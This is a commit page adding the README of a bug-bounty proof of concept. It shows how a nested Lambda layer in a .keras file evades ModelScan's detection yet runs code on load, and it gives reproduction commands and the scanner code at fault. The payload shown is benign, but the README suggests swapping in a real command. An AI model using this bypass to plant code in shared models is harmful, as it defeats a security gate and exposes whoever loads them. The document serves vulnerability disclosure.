th3-j0k3r commited on
Commit
b4655cd
·
verified ·
1 Parent(s): bb03a81

Upload README.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. README.md +46 -0
README.md ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ModelScan Bypass — Arbitrary Code Execution in `.keras` via Nested Lambda Layer
2
+
3
+ Proof-of-concept for a **Huntr Model File Format** report.
4
+
5
+ `model.keras` runs code on `keras.saving.load_model(..., safe_mode=False)` while
6
+ **ModelScan reports it clean**. The malicious Lambda layer is hidden **one level deep inside a
7
+ nested sub-model**. ModelScan's `KerasLambdaDetectScan` only inspects the flat, top-level
8
+ `config.layers` list (and matches `class_name == "Lambda"` exactly), so it never sees the
9
+ nested Lambda — but Keras deserializes sub-models recursively and executes it on load.
10
+
11
+ ## Files
12
+ - `model.keras` — the PoC model file (benign payload: writes `keras_poc_executed.txt`)
13
+ - `exploit.py` — builds a flat model (detected) and the nested model (missed), scans + loads both
14
+ - `README.md` — this file
15
+
16
+ ## Reproduce
17
+ ```bash
18
+ pip install 'modelscan[tensorflow]' tensorflow keras
19
+ # 1) scanner says it is safe:
20
+ modelscan -p model.keras # -> No issues found! 🎉
21
+ # 2) loading it executes code:
22
+ python -c "import keras; keras.saving.load_model('model.keras', safe_mode=False, compile=False)"
23
+ ls keras_poc_executed.txt # marker proves code ran on load
24
+ # or run the full demo (flat=detected, nested=bypass):
25
+ python exploit.py # -> No issues found (BYPASS) + CODE EXECUTED
26
+ ```
27
+
28
+ ## Why it works
29
+ `modelscan/scanners/keras/scan.py` (`_get_keras_operator_names`):
30
+ ```python
31
+ lambda_layers = [
32
+ layer.get("config", {}).get("function", {})
33
+ for layer in model_config_data.get("config", {}).get("layers", {}) # TOP LEVEL ONLY
34
+ if layer.get("class_name", {}) == "Lambda" # exact match
35
+ ]
36
+ ```
37
+ It iterates only the outer `config.layers` and never recurses. A Lambda inside a sub-model
38
+ (top-level `class_name` is `Functional`, not `Lambda`) is invisible to the scan.
39
+
40
+ ## Impact
41
+ ModelScan is used to gate untrusted models in MLOps pipelines / model hubs. This file passes
42
+ the scan as clean yet achieves arbitrary code execution on load — defeating the control.
43
+ Verified on modelscan 0.8.8 / Keras 3.14.1 / TensorFlow 2.21.
44
+
45
+ The payload here is benign (writes a marker file). Swap the command inside the Lambda in
46
+ `exploit.py` to confirm real command execution.